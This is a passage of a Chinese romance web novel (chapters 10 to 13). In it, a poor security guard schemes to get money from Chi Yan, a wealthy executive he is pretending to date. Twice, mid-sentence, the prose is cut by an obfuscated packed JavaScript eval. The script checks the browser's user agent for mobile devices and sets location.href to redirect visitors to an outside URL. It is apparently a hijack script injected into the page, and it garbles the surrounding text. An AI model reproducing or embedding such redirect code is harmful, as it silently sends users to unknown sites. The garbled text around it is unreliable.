他突然好奇迟砚管着的那家娱乐公司,二话没说打开了电脑。搜“远川集团”相关内容时,前排赫然跳出当红流量小生白牧闹自杀的娱乐新闻,说是为情所困才走了极端,网上各种八卦已经传得满天飞,连带着不少捕风捉影的截图都冒了出来。 更扎眼的是评论区里的猜测:有人说白牧是同性恋,被潜出来的名气,还隐晦提了一嘴“金主姓迟,跟远川集团沾亲带故”,如今怕是被这位金主彻底抛弃。 时钦这几年一直用着老年机,基本不碰网络,跟网上那些新鲜事儿都隔了层壁,但“白牧”这名字他倒不陌生,偶尔路过商铺,从门口的电视里正好瞅见过这人的广告,就算没特意记,也多少有点印象。 而这个白牧,恰好是某人昨晚手机里看的那个男明星。 时钦吃惊,闷葫芦昨晚刚答应跟他发展恋爱关系,这明星今天就为情所困闹自杀…… 操,看着闷声不响的,挺会玩啊。 远在南方的酒店套房里,迟砚刚结束一场视频会议,才揉着眉心往沙发里陷了陷,茶几上的手机又不消停,先后“叮”了两声,猝不及防打断了这片刻的松弛。 他没动,歇了会儿屈指勾过手机,慢慢捞起来。 小钦:【迟砚,你为什么包养白牧?钱多没地方花了是吧?有没有考虑过我的感受?】 小钦:【我告诉你,我有洁癖,你和他做过那种事就别和我做,我嫌恶心,亲过他的嘴也别想再亲我,真的恶心,这和我喜欢你没关系,是两回事知不知道?就因为喜欢你,我同意你牵我的手,背我,你要是想抱我,我也愿意试试】 迟砚垂着眼,将两条短信逐字看完,似乎是没想到,时钦叽叽喳喳的程度,能隔着屏幕吵到他。 而时钦还陷入懊恼当中,只恨自己怎么早没想到“包养”这大招?比起装模作样处对象,这才是来钱最快的捷径!先哄着闷葫芦把钱给了,找个机会溜之大吉,多省心。 可眼下没办法,都发展恋爱关系了,再变卦反倒显眼,只能先顺着这茬往下演。 知道迟砚在忙,时钦也不急着等回复,踢掉鞋袜就往浴室走,想赶紧冲个热水澡,把在王广强那儿沾的晦气全搓干净。刚脱得光溜溜,搁在床上柜上的手机忽然“嗡”地响了。 他趿着偏大的拖鞋过去,捞起手机打开,来了个今晚最后一懵。 闷葫芦:【我也是。】 什么玩意儿啊? 你也是,你是个几把! 11.心如刀割 时钦这会儿是真觉得恶心了。 闷葫芦这是在说自己也有洁癖?对他有要求,对自己那二两肉倒放任不管,好意思么? 他飞快敲按键,直接回复质问:【你怎么好意思有洁癖的?】 网上那些捕风捉影的截图他没落下一张,没放过一点细节,就算有些模糊,可和白牧前后脚进酒店的那高大背影,与昨晚背他时他贴过的那个背一模一样。 时钦甚至还特意翻遍了白牧的花边新闻,去年就爆出同性恋传闻,传他被金主包养,到今年才有小道消息咬实,说那金主不仅姓迟,并且是那家娱乐公司的高管。 看装货这回怎么解释。 反正休想跟他做那种恶心事,门儿都没有! 先冲澡再说,时钦刚把手机搁下转身,手机又震了。他稀奇闷葫芦不是要连夜公关么,点开短信一看,脾气说窜就窜,没见过这么厚颜无耻还理直气壮的,一句解释也没给他。 闷葫芦:【为什么不好意思?】 “你要点脸行不行?”他憋着气回复,字打了又删,删了又改,越改越心烦,烦这假恋爱该怎么谈,破逼工作是没法干了,得让闷葫芦今晚就答应给点钱。 小钦:【你别仗着自己混得好就欺压我,我们是平等的恋爱关系,我没被你包养,你不能对我有要求,但我能对你有要求,因为你包养过别人,我很介意!现在心里有疙瘩了,一想到你和那男的不知道做了多少次,就特别难受,后悔跟你好了,可我舍不得你,你给我拿五千块钱来吧,我明天去看心理医生,不把心病治了我怕你抱我我都膈应,都怪你】 密密麻麻的文字占了屏幕大半,迟砚来来回回扫了几遍。忙了一天的疲惫还没散,大晚上又得亲自回应这莫须有的绯闻,他敲过去三个字:【没包养。】 然而半分钟后。 小钦:【别骗我了,你真有心就让我去看心理医生,我这心病是你造成的,你要负责】 迟砚没有回复,在助理的提醒下,起身接过行李。 想到手机有很大概率会被持续轰炸,进电梯前,他将那串密密麻麻的文字又扫了一遍,目光在“平等的恋爱关系”上稍停,悬在屏幕上的指尖顿了顿,最终回了三个字:【没做过。】 然而又半分钟后。 小钦:【说了别骗我,你又不是女的,没那层膜,随便怎么说都行】 迟砚盯着短信内容,眉心微蹙,下颌也微微绷着,指节逐渐扣紧了手机边缘。 等坐进车里,又一条消息弹进来。 小钦:【不让我看心理医生是不是?那等我心里疙瘩什么时候没了,我们再更近一步,是你对不起我,我现在真的很难受,心如刀割你懂不?你得安慰我】 黑的白的都被说了,迟砚没再辩,靠在座椅上休息。 今晚情况特殊,他回了个“好”字。 小钦:【这还差不多,点个夜宵送过来安慰我,我要吃牛排,先洗澡去了,等会再跟你算】 迟砚并不意外,给少爷点夜宵前,先给合伙人发了条微信消息。 才到住处的李望看见消息,先笑了,自己这兄弟今晚倒罕见地像个正常人,有了点正常情绪。 他甩过去一条语音:“我可没嘴碎,他主动问的,我就说了你的姓,你做的工作。主要是你也没提前跟我打招呼,再不喜欢这个姓,也犯不着藏着掖着吧?” 迟砚:【没有。】 迟砚:【我在南城有点事,以后别跟他多说我的工作。】 李望一下品出意思,又发了条语音:“怎么突然奔南城去了?还以为你连夜公关呢,早聊啊。我都帮你解释了,说你抽不出身,不就是怕小保安惦记你嘛。” 迟砚:【头疼,帮我办个事。】 李望调侃:“哟,闹别扭了?你看看,特意跟我交代让他用你电脑,他真用了查出点什么花边新闻来,你又不乐意,净给自己找麻烦。那明儿怎么说?他那工作我看别干了,挣几个钱呐还让老色鬼吃豆腐。” 迟砚:【现在去机场。】 李望挺惊讶,估摸迟砚早在给他打电话时,就已经让凌默订好了末班机。嘴上说没那么熟,心怕是早飞回了北城。 他刚要问“办什么事”,迟砚那边直接打了电话过来。 …… 卫生间里,水汽弥漫。 架子上的沐浴露、洗发露全是时钦叫不上名的外国货,洗发露那味道熟悉,昨晚才在某人头上闻过。他没客气,奢侈挤了一大坨往头上搓,每根头发丝儿都染上香气;沐浴露也没省着,从脖子到脚底板抹得匀匀的,连缝隙都没落下,把自己整个人洗得香喷喷。 这澡洗得太他妈爽了!好久没这么痛快过,就差来个人给他捏捏肩揉揉脚了。 时钦裹好浴袍,一穿才发现尺寸太大,领口直往下滑,松松垮垮只能凑合。头发吹到半干,他随手打开镜柜翻了翻,除了洗漱用品,就是男士刮胡刀、剃须水之类的。 闷葫芦还算公私分明,没往这里塞套子。 他关了柜门,对着镜子摸了摸下巴,光滑得没一点胡茬。以前还嫌自己不长耻毛,不够纯爷们儿,现在他倒庆幸,幸亏天生毛少,不然这些年在外头漂泊,刮胡子都费劲。 想着牛排还得等会儿才到,时钦转身进房间,瞥见沙发上换下来的保安制服皱巴巴的,越看越嫌弃。他打开衣柜,谁知里面清一色衬衣和西装,连套睡衣都没有,倒是有新内裤,可一比尺寸大太多,根本没法穿。 操,闷葫芦怎么什么都那么大尺寸啊,臭显摆! 时钦骂骂咧咧,索性脱了浴袍往床上一扑,皮肤贴上冰凉的床单,又扯过被子裹住自己,真爽。 他闭着眼感受这股舒坦劲儿,实在舒服,以至于瞌睡虫没一会儿就钻了出来,正迷迷糊糊快要沉进梦乡,手机突地一震,瞬间将他从困意里拽了出来。 闷葫芦:【夜宵到了。】 到底是食欲胜过睡欲,时钦爬起来,从衣柜里随手抓了件衬衣穿上,趿着拖鞋出了休息室,见办公桌上摆着个大号保温餐袋,那包装也不像外卖送的,没有订单条,他还想看看多少钱呢。 他在办公桌前坐下,着急拆开餐袋,里面居然是份套餐:外焦里嫩的牛排,牛肉火腿配蜜瓜,厚切牛舌,裹了黄油煎得金黄的芦笋和小番茄,连配汤都用保温盅装着,热气透过包装渗出来,让人食欲大开。 等风卷残云填饱肚子,时钦打了个满足的饱嗝,晃悠进休息室,刷完牙洗完脸,脱掉衬衣又往大床上一躺,拿起手机就给某人发短信。 小钦:【我吃饱了,但你没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456936|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安慰到我,知不知道为什么?】 候机室里,才眯上一会儿的迟砚,不知道少爷什么时候能消停,耐着性子配合了一回:【为什么?】 小钦:【因为外卖一看就是特意找人送的,是不是经常用这招安慰那个男明星?唉,一想我就难受,你老实说,跟他有没有在我现在躺的这张床上做过?别骗我】 迟砚已读不回,将手机调至静音,缓缓闭上眼养神。 直到登机前,他点开新的几条未读短信。 小钦:【沉默就是默认】 小钦:【为什么不回?你也觉得没脸了是不是?我今晚被那个老男人摸屁股,你又给我添堵,还不同意我去看心理医生,你就没把我当回事,看我难受也不心疼】 小钦:【你为了我把他甩了,我挺高兴的,本来想算了不跟你计较,毕竟那是你的过去,我认栽呗,可你对我爱答不理的,到底什么意思,能不能说句话?】 闷葫芦不会睡了吧……? 时钦满心算盘,就想勾出迟砚的愧疚感,结果这波算计落下去,跟拳头砸棉花似的,半点回响没有。快气死他了,这狗屁恋爱谁愿意谈谁谈,他真伺候不了。 “嗡——” 看到新短信提醒,他火速点开来,愣住。 闷葫芦:【睡吧。】 “我睡你大爷!”时钦对着手机骂,也就敢窝囊地过把嘴瘾。 他今晚懒得再搭理闷葫芦了,才拔两根毛的铁公鸡,抠门到家,这谈的叫什么恋爱?还是找队长刘建国谈比较靠谱。 只要躲着大嗓门,总能安全混到月底。 可时钦又犯了愁,一千五够干嘛的?其实保安这活儿真不错,比他以前干的杂活儿舒服多了,钱还多。他也清楚,刘建国是看他可怜才帮一把,不可能真为了他辞掉王广强。 揣着这股愁,他慢慢睡了过去。 …… 被生活磋磨得习惯了早起,时钦难得在舒服的环境里睡了个爽。这间休息室有床头灯,能开一整夜陪着他,比在赵萍家踏实,连噩梦都没做。他睁眼盯着陌生的天花板,懒劲儿上来了,就想赖这儿一辈子,每天吃不完的大鱼大肉。 “醒了?” “……”时钦猛地一惊,扭头就见床另一侧的沙发上坐着个人。 他警惕爬起来要下床,一低头大眼对上自己那小眼,才惊觉自己光溜溜的,大床太舒服,昨晚什么都没穿就睡了。妈的,这死同性恋想趁人之危?他慌忙往床另一侧爬,着急找衣服穿,慌里慌张间左脚踝一崴—— “啊我操!” 迟砚视线里没了时钦,只在床尾看见一双细瘦的脚丫子,急慌慌地蹬了一下,脚趾头还蜷了蜷。 他依旧坐着没挪窝,没有半点要扶的意思。 “妈的疼死我了!”时钦手忙脚乱撑着床沿坐稳,脚踝还在发疼,屁股还磕了一下,他抬头就瞪向沙发,一看那面无表情的棺材脸,火瞬间就窜上来,当场炸毛,“有你这样的么?跟鬼一样坐那儿吓我,我告诉你我有心脏病!吓死了你得赔钱!” 迟砚的目光从乱糟糟的床掠过,又垂眸扫过滑落在地的浴袍和衬衣,最后落回那张气鼓鼓的红脸上。 他开口:“起来吧,带你去看心理医生。” 时钦:“……” 12.你欠我的 时钦一把扯过沙发上皱巴巴的保安制服往身上套,系皮带时手劲儿都带着火气,心里把人骂了八百遍不止。 这闷葫芦他妈的有病吧?大清早跟鬼一样吓唬他,悄没声地溜进来不就是想趁人之危?结果看他摔了非但不扶一把,还假模假样催他穿衣服,撂下句“光着像什么样子”就扭头走了?这算哪门子事啊? 真他妈的有病! 刷牙时,他还在心疼自己摔疼的屁股、崴着的脚脖子。本来左脚踝的旧伤这几年就没好利索,一赶上阴雨天,跟老大爷犯风湿关节炎似的,难受着呢。 等洗干净脸,时钦不爽地抠了一坨男士面霜,从脸颊一路抹到颈侧,手掌刚蹭过下颌线,被镜子里神清气爽的男人帅了一跳。 他忍不住挑了挑眉,“啧”一声,简直俊得没话说,比那个叫白牧的男明星何止帅了几倍啊?要不是怕抛头露面,当红流量小生的位置肯定非自己莫属。 时钦暗忖,怪不得闷葫芦能把人甩了。 既然图他这张脸,还不对他好点?冠冕堂皇地说什么要带他去看心理医生,不想给钱就直说啊,非要装逼。 如此一想,时钦又把自己气到了,成心拧着来,没往办公室去,反倒往沙发上一靠,一通电话直接给迟砚飙过去。 很快,休息室的门被轻推开,带起极浅的气流声。 迟砚隔空看过去,沙发上的时钦抬脸望向他,黑亮的眼睛里藏着笑,是作妖的前兆。 “周砚你过来,”时钦说着拍拍身旁的空位,“我有话跟你说。” 见闷葫芦没给反应,他顿了下才想起自己喊错了姓,脸上却没露出多少尴尬:“哦,忘了你现在叫迟砚,快过来啊!” 小保安已经穿上了制服,迟砚径直过去。今天事情多,他没工夫把时间耗在这里。 刚坐下,一条腿忽然伸了过来,不容分说地、重重地往他膝头一搭。 时钦身形一歪,整个人悠哉靠向沙发扶手,左脚跟着晃了晃,顺势把小腿又搭迟砚大腿上,理所当然地使唤对方:“被你害得崴了脚脖子,现在走路都疼,快给我按一按。” 可闷葫芦无动于衷,他没好气地指责起来:“你昨晚就气我,早上又气我,我好心不跟你计较,让你按一下还不乐意啊?不乐意你拿钱来,我上会所找人给我按,是你害我摔的,你得报销。” 大早上就咋咋呼呼不消停,迟砚低头看着那截搭在自己腿上的小腿,瘦得他能轻易握住,折断。 后半夜过来后,他留意过时钦的左腿和左脚,肉眼就能看出脚踝不是自然弧度。等指腹贴上去,才更清晰摸出异样,皮肤比别处紧实,摸起来有些发僵,皮下骨骼像是被强行拧过,愈合也没归位,有年头了。 “欸,对,就那儿不舒服。”时钦动了动脚。 迟砚没说话,宽大的掌心直接扣住不安分的脚,没给再动的余地,右手指腹顺着那道不自然的骨线,慢却稳地揉按。随着动作,他耳边偶尔会飘来一两声轻微的哼哼。 完全没丁点膈应,时钦痛快地往沙发里缩了缩,越发觉得使唤这闷葫芦太值了! 免费的按摩工,就算捞不到钱,也不能亏了自己白白费的工夫,以后得让迟砚天天给他按脚讨回来。 他眯着眼享受,得寸进尺地找茬:“你别以为给我按两下就翻篇了,这本来就是你欠我的,你包养过男明星的事,我昨晚还没跟你算清楚。” 迟砚没理会,视线往下落到时钦的脚指甲上,剪得潦草,每个边缘参差不齐,显然是拿剪刀胡乱铰的。 时钦憋着的一大团火气,就这么慢慢被迟砚揉散了。他心想闷葫芦这回倒不赖,肯定是自己昨晚发的短信起了作用,闷葫芦自知理亏,也有愧,才突然对他好的。 哪知刚这么想,下一秒脚就被拿开了。 “起来。”迟砚先一步起身,没去看时钦,“外面有早点,去吃。” 天大地大,吃饭最大。时钦立马刹住脾气,把心里头那点小不爽抛到脑后,麻利地穿上袜子,蹬上皮鞋,去卫生间洗了把手,全程没管沙发前站着的人影。 等休息室门被关上,迟砚低下头,盯着自己的掌心看了会儿,指腹轻轻摩挲了下。 办公室另一侧的沙发前的茶几上,居然摆着一整桌丰盛的广式早茶! 时钦一坐下来就敞开了吃,虾饺、烧麦、叉烧包、肠粉、豉汁凤爪挨个尝过去,吃到肚子有点发顶才罢休。 他喝了口红茶润嗓,懒懒地靠向沙发,这才注意到外面有人说话,公司里已经开始上班了。操,得赶紧出去,王大嗓门估计早下班了,要去找队长刘建国谈谈。 准备走人,时钦想起手机落在休息室,推开门时,先听见“哗哗”的水声,跟着看见玻璃隔出来的那片空间里,有个赤条条的身影,轮廓挺拔,在朦胧的白汽里格外扎眼。 哪怕看不清楚,他也吓了一惊。 在时钦眼里,迟砚不只是个男人,还是个得躲着走的死同性恋,不然就会像兄弟沈维当年说的,被传染成同类。 他迅速移开视线,本能地冲到床头柜前拿走手机,转身要溜时,眼珠子却不受控制地往那边瞟。没等收回视线,水声刚停,卫生间的玻璃门就突然开了,他慌忙错开眼,嫉妒心混着莫名加快的心跳,攥紧手机虚张声势地说了句:“大早上的你洗澡给谁看啊?” 捕捉到时钦的紧张和别扭,迟砚问他:“需要给谁看吗?” “……”时钦盯着收拾整齐的床,没处撒气,便以牙还牙怼回去,“光着像什么样子?少跟我显摆。” 迟砚看着他,很平静地说:“没显摆。围了浴巾。” 时钦顿住,转头见迟砚没骗他,关键部位确实裹着块浴巾,可再看那宽肩窄腰,胸肌腹肌线条分明,体格比自己结实太多,他气不过呛道:“你这还不算显摆?我是没时间锻炼。” 迟砚不接话,只说:“出去。” “你……”时钦懒得多说,刚挪到门口,就听见身后的声音:“在外面等我。” 他不爽回怼:“等你干什么?我找我队长有事。” 迟砚:“我预约了心理医生。” “……”时钦噎了下,忍了忍,立马装出委屈样,“现在知道心疼我了啊?昨晚怎么不来?忙着哄那个明星呢吧?一顿夜宵就把我打发了,也就我好说话。” 迟砚打开衣柜,目光扫过里面的衣服,没急着动。 而他的沉默,大大给了时钦发挥的余地。 时钦接着卖委屈:“我昨晚都没睡好,你忙我也理解,哪好意思叫你来陪我?”话锋突然一转,又故作体贴,“心理医生我自己去看吧,你别太累了,累了我会心疼的。” 迟砚不紧不慢挑着,指尖在两件衬衣上停顿,最后拎出套休闲衣裤。等叽叽喳喳的声音歇了,才开口:“不累。” “……”时钦无语,总不能真去看心理医生吧?一进医院就得填真实资料,那不等于自投罗网?打死他都不干。 他一改态度:“还是算了,看心理医生不见得有用,就顺其自然吧,我们好好谈,你以后别再包养别人了。” 迟砚套上衬衣,问他:“心里的疙瘩怎么处理?” “呃,昨晚不是说了嘛,”时钦脑子转得飞快,“那是你的过去,我认栽呗,总不能把你那玩意儿剁了吧?不对啊,你们同性恋,”完了又他妈嘴瓢,他紧急解释,“我第一次做同性恋有点紧张,要不是心里有疙瘩,我昨晚就想跟你试试了,你跟那男的谁上谁下啊?” 迟砚:“出去。” “……”时钦吃了个瘪。 他也是才恍然大悟,或许自己可以试试做上面那个?真到了不得不牺牲的地步,钻洞而已,灯一关,说不定能克服,再不济就吃点药,逼自己硬一把! “还不出去?” 见迟砚有解浴巾的架势,时钦暗骂“你爱说不说”,扭头就出去了,带上门前,门缝里又飘出来一句。 “别乱跑。” 他在办公室转了两圈,停在落地窗前,这个角度刚好能看见西区出口外的那片湖。 窗外阳光明媚,明明是个能让人心情松快的好天气,可惜休息室里那个古怪的,老是给他找气受。 不过时钦这份闷气没持续多久,就被迟砚出来后递给他的一张哑光黑银行卡浇得烟消云散。 他愣愣地接过来,翻来覆去看了好几遍,还没从错愕里缓过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463086|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神。 今天什么日子?铁公鸡竟然会给银行卡? “把工作辞了,密码是你的生日。”话音一落,迟砚见小保安眼睛亮了亮,捏着银行卡的手攥得很紧。 惊喜来得太突然,时钦一时不知道说什么。 “去吧,”迟砚在办公桌前坐下,“交接清楚,等我忙完会找你。” “哦……” 走出写字楼时,时钦还跟做梦似的,总感觉闷葫芦不可能这么大方。他先拐去值班室请假,刘建国一听他昨晚替陶辉值了夜班,爽快批了一天假。 骑上电驴,时钦直奔路面对那家能刷卡的超市,直奔烟柜,指着最上面的软中华:“要一包。”结账时,他输密码的手都有点抖,太久没这么痛快花过钱,还真有点不适应。 直到POS机“咔嗒”吐出票据,时钦才按捺住心里的激动,揣着烟赶回值班室。 刚好赶上张洋和陶辉出去巡逻,他赶紧把软中华塞给刘建国,真心实意道谢:“刘队,谢谢你对我的照顾,我想辞职。” 有了能“生钱”的家伙,谁还稀罕那一千五的死工资? 刘建国手里捏着烟,诧异道:“小伟,你干得好好的,怎么了这是?” 时钦早把瞎话编得滴水不漏:“老家一个远房亲戚前两天联系上我,说要给我介绍老婆,还想拉着我一起做点小生意,我想回去试试。”怕刘建国不批,他又说,“刘队,我着急回去,要不工资你给少结点。” 拿人手软,刘建国听着合情合理,也不好再劝,毕竟给小保安的工资确实低。他当场结给时钦五百块钱,批了辞职。 …… 时钦在赵萍家躺了整整两天,银行卡也被他揣了整整两天,揣热乎了。 这两天他没干别的,满脑子都盘算计谋,套现不能太急,万一拿多了被闷葫芦发现,银行卡一冻结就完了。得细水长流,今天买台电脑,明天买个平板,后天再换个新手机,回头把这些电子产品倒卖出去,现金不就安安稳稳到手了? 第三天上午,时钦一个鲤鱼打挺从床上弹起来,眼里闪着光,趁闷葫芦现在忙着公关抽不开身,得抓紧时间套,先套他个五万,钱到手就跑。五万只要省着花,够他做好几年咸鱼了。 他把洗干净的两套保安制服装进袋子,一路骑到园区,心里还琢磨着下午要把数码产品全买齐。结果一进值班室,钱亮就苦着脸迎了上来。 “小伟你可来了,”钱亮揉着太阳穴,“你这一辞职,我们几个都转不开,刘队还想打电话请你回来,昨晚夜班是他顶的,现在到处招人,快累死了!” “啊?”时钦转不过弯,“亮哥,怎么回事?” “强哥住院了。”钱亮声音压得低了点,“前天晚上出的车祸,右胳膊骨折严重,直接废了,听说还撞着命根子,吓人得很,也不知道能不能恢复好。” “……”时钦把制服塞进墙角的储物柜里,只觉得神奇,大嗓门这报应来得也太快了,活该! 算老天有眼,还能在他离开北城前,帮他出了这口恶气。 他没在值班室多待,揣着银行卡就往附近的城乡购物中心赶。眼看快到地方,手机突然响了,屏幕上跳着陌生号码。 时钦想都没想就挂了,搞钱才是头等大事,谁都别想拦着他,结果那号码跟跟屁虫似的,又打了过来,他不耐烦地再次挂断,停好电驴就往商场里冲。 “我在遥望,月亮之上——” “操。”时钦皱眉掏出来,一瞥来电显示“闷葫芦”,手瞬间顿住,及时接通,语气也软了半截:“干嘛?” “在哪?”迟砚的声音透过听筒传来,没什么情绪。 “……”时钦自己倒先心虚了,不敢撒谎,含糊着说,“在商场啊,随便逛逛,你还不让我买点东西了?你这几天都在陪那个男明星,我说你什么了?我都没烦你。” “地址用短信发过来。” 电话又突然被挂断,时钦服了,看到一条未读短信,来自刚才那个陌生号码。 【你好,我是迟总的助理凌默,请接一下电话。】 “……”大爷的。 闷葫芦这是想干什么?还派个助理来盯他? 13.行动派 赶在眼镜男到商场前,时钦在国产手机店里磨了半天,一会儿拿起样机调调字体大小,一会儿按按侧边按键,转头又对着参数表皱皱眉,挑来挑去没拿定主意,最后听营业员指着一款说“续航久”,才敲定了这台三千块钱的。 第二回刷卡,金额对他来说不是小数目,输密码时指尖仍有点抖,每个数字都按得用力。当POS机吐出票据,他也仍跟做梦似的,嘴角却悄悄扬了扬,俩梨涡露了点影,心里冒起股得意的小泡泡。 这么多年过去了,闷葫芦居然还记着他的生日。 到底是多喜欢他啊? 买完手机,他凑到笔记本电脑柜台前,没等营业员介绍两句,眼镜男的电话就打了过来。 在人屋檐下没办法,时钦不耐烦地接了,慢吞吞磨到商场外的路口,伸着脖子东张西望,没见着眼熟的奔驰,摸出手机想发短信,一辆低调到不起眼的黑色沃尔沃缓缓停到他跟前。 见眼镜男从车上下来,他脑子里瞬间转了好几个弯:闷葫芦车贩子啊这么多车,不会是要送他吧?可他没驾照,不会开车啊。 怎么愧疚成这样,又给银行卡又给车的,这……这他妈有个屁用!不在他名下,根本倒卖不出去,他的电驴子还能卖个三四百块钱呢。 凌默打开后座车门,示意时钦:“你好,上车吧。” “等等,那我的车怎么办?”时钦一指身后路牙子上的小破电驴,狐疑地问了句,“周砚让你过来,是有什么事啊?”他严重怀疑,闷葫芦没那么正常。 凌默先回答了第一个问题:“迟总建议你把电动车卖了。钥匙给我,我会处理。” “……”时钦一呆,这四眼说什么呢? 凌默接着回答第二个问题:“他让我过来,一是帮你搬家,二是以后负责你的出行。” “……”时钦心生警惕,又问,“搬哪儿,他家啊?” 凌默点头:“是的。” 就知道没猜错,果然派人来盯他了。 时钦当场拒绝:“你不是周砚的,啊说错了,就迟总的助理么?他天天那么忙,还让你跑过来给我当司机,多大材小用啊?你回去跟他说,别这么客气。” “我是迟总的私人助理兼司机。”凌默隐去自己保镖的身份,认真向时钦解释,“别担心,迟总有专门的秘书,他也习惯自己开车,你有任何需要随时给我打电话。” “……” 吃烧烤那晚,时钦没注意过一直待在车里的眼镜男。刚才凌默下车,他唯一印象是“大高个”,这会儿再看,那悬殊的体型他明显扛不过,迟砚把自己重要的私人助理兼司机派给他…… 这不就是赤裸裸的监视么! 闷葫芦今天逼他搬家,晚上指不定要干什么。难怪大前天一早急着亲自带他去看心理医生,关心他心里的疙瘩,原来是憋不住裆里那二两肉,等不及想跟他做那种恶心事! 妈的大意了…… 时钦恨不得脚底抹油赶紧溜,可才刚买了个新手机,工作也辞了就落个五百块钱。 早知道昨天就套出钱来跑路!都怪赵萍,说家里有虫,把上个月给他看的那一大包不知道从哪儿捡来的秋冬男装全翻出来手洗了不说,还把屋外那根晾衣绳挂满了,害他没地方晾制服,等到昨天终于洗了晾出去,结果又赶上阴天,耽误到今天才把制服还回去。 察觉时钦不想上车,凌默没催,只道:“你不放心,可以先把电动车卖了,不着急走。” 催着人卖车还好意思说不着急?时钦当即就说:“我不卖,难不成你还24小时随叫随到么。” 凌默:“刚才说过,你有任何需要随时给我打电话。” 时钦:“……” 见凌默四处张望寻找修车铺,时钦情急之下搬出赵萍当借口:“你问下你们迟总,我过几天搬行不行?他不知道情况,我有个干妈,是个没孩子的寡妇,我一直跟我干妈住,突然要搬,我怕她接受不了,得先给她做思想工作。” 凌默知道时钦和谁住一起,便没有多说。 等时钦骑着小电驴跑远,他拨通迟砚电话,简短说明情况,询问:“迟总,要等几天再联系他吗?” “不用,由他去。” 凌默这两天忙着采购了一整个衣帽间的男装,尺寸和鞋码都是顶头上司给的精准数据。 迟砚几天前还连着两日往返南城,亲自查时钦的过去,又为了一条短信连夜飞回北城,现在却放任不管,实在难以捉摸。 他斟酌了下,多嘴提醒:“他表现出明显的抗拒,可能是在敷衍。” 电话那头静了半晌。 久到凌默以为迟砚不在手机旁,迟砚的声音才缓缓传来。 “你去我那边拿两套衣服给他送过去,从里到外还有双黑色运动鞋,客厅桌上那东西也给他送过去吧。” …… 赵萍中午没回来,时钦只好先把新手机藏进自己睡的小屋。 他转头跨上小电驴,急吼吼赶去几公里外最近的超市,一进超市就没停脚,买了满满一堆生活用品。毛巾、牙膏牙刷、洗发露沐浴露,挑的全是牌子货,还特意拿了罐女士面霜。 路过服装区,见冬装提前摆上货架,他推着购物车来来回回转,挑了两件保暖的羽绒服,秋衣秋裤也选了手感软和的好料子。本想再买两双鞋,可盯着鞋码标签愣了半天,不知道赵萍穿多大脚,最后改买了棉拖鞋和加绒袜子。 排队结账时,前面顾客手里都拎着月饼礼盒。其实时钦刚进超市就看见了几乎堆成山的月饼礼盒,边上立着块“中秋节”宣传牌,红红火火特别惹眼。 只是他早忘了过节是个什么滋味,更没想着要给赵萍带一份,在他的人生字典里,压根就没有“团圆”这个词。而他打小最讨厌吃的东西,就是月饼。 快轮到自己时,时钦不知怎么就顿住了脚步。 目光落在收银台正扫过的那盒喜庆包装上,他犹豫了一瞬,转头推着购物车折回超市入口,拿了盒包装精致的高档款,倒生出几分报复性消费的痛快。 可惜买的时候有多痛快,走的时候就有多狼狈。 时钦两手各拎着重重两大兜,勒得四指充血发红,本就不稳当的身形晃得更厉害,走两步就得停一停歇口气,一瘸一拐慢慢挪出超市,费老鼻子劲才把东西搬上小电驴。回到家第一件事,就是把赵萍用的杂牌便宜货通通扔掉,塑料瓶则单独收进蛇皮袋,留给赵萍卖钱。 操,累死了…… 时钦往硬邦邦的小床上一瘫,连喘口气的劲儿都快没了,脑子里还在漫不经心琢磨:闷葫芦太精了,还是个行动派,又难应付又难伺候,真捞笔大的得折寿。反正东西都给赵萍买了,要不明天就走吧,接下来走一步看一步呗……这几年不都一个人这么过来的么。 兜里手机突然响起来,吵得他烦。 他懒得接,听着嘈杂的来电铃声闭上眼跟着哼,刚哼完一段又响,他没了耐心,自由飞翔个屁!一骨碌坐起来,从疯狂振动的裤兜里掏出手机,一看是眼镜男的号,脸色顿时就垮了,嘴里小声嘟囔了句“烦不烦啊”。 死闷葫芦能不能让他歇会儿? 可接起电话,听见凌默说要送衣服,又提了句“迟总还给你准备了份礼物”,时钦的好奇心一下子被勾起来,追问是什么。对方倒起卖关子,嘴严得很。 “我现在给你送过去,请说一下地址。”电话里凌默语气没波澜,公事公办,却偏要多问一句,“方便吗?” 时钦一时犯难,不巧电动车没电了,他也没力气再折腾一回。 “不方便吗?”凌默又问。 “啊,那多麻烦你?”时钦现在就怕节外生枝,别影响赵萍,再给自己找麻烦,他抢着往下说,“晚上七点在园区西门出口见吧,我车没电了,正在充。” “好的。” 挂了电话,看着赵萍这间又简陋又杂乱的破屋子,时钦没心思好奇什么礼物了,满脑子琢磨下一站去哪儿。南方肯定不能去,左思右想,好像只能往更北的地方走。 可是北方好冷啊,他不禁打了个哆嗦,实在不想挨冻了。算了,先填饱肚子再说,一下午忙着买东西连午饭都没吃。 时钦原本以为,赵萍看到他买的许多东西会很高兴。 小饭馆没法刷卡,他从刘建国结的那几百工资里,奢侈点了份十几块钱的鱼香肉丝盖饭。吃完又去旁边小卖部,狠心买了包二十多块钱的玉溪,坐在路牙子上望着渐渐黑透的天,连着抽了两根烟,才算压下点烦乱,慢慢往回走。 等一进门,已经回来的赵萍就跟他急眼了。 她拉着他手,连比划带指的,眼睛盯着桌上那堆新添的生活用品,一个劲儿朝他摆手,又着急比划了好几下,指着墙角的旧盆,像是在问:那些旧的你扔哪儿了? 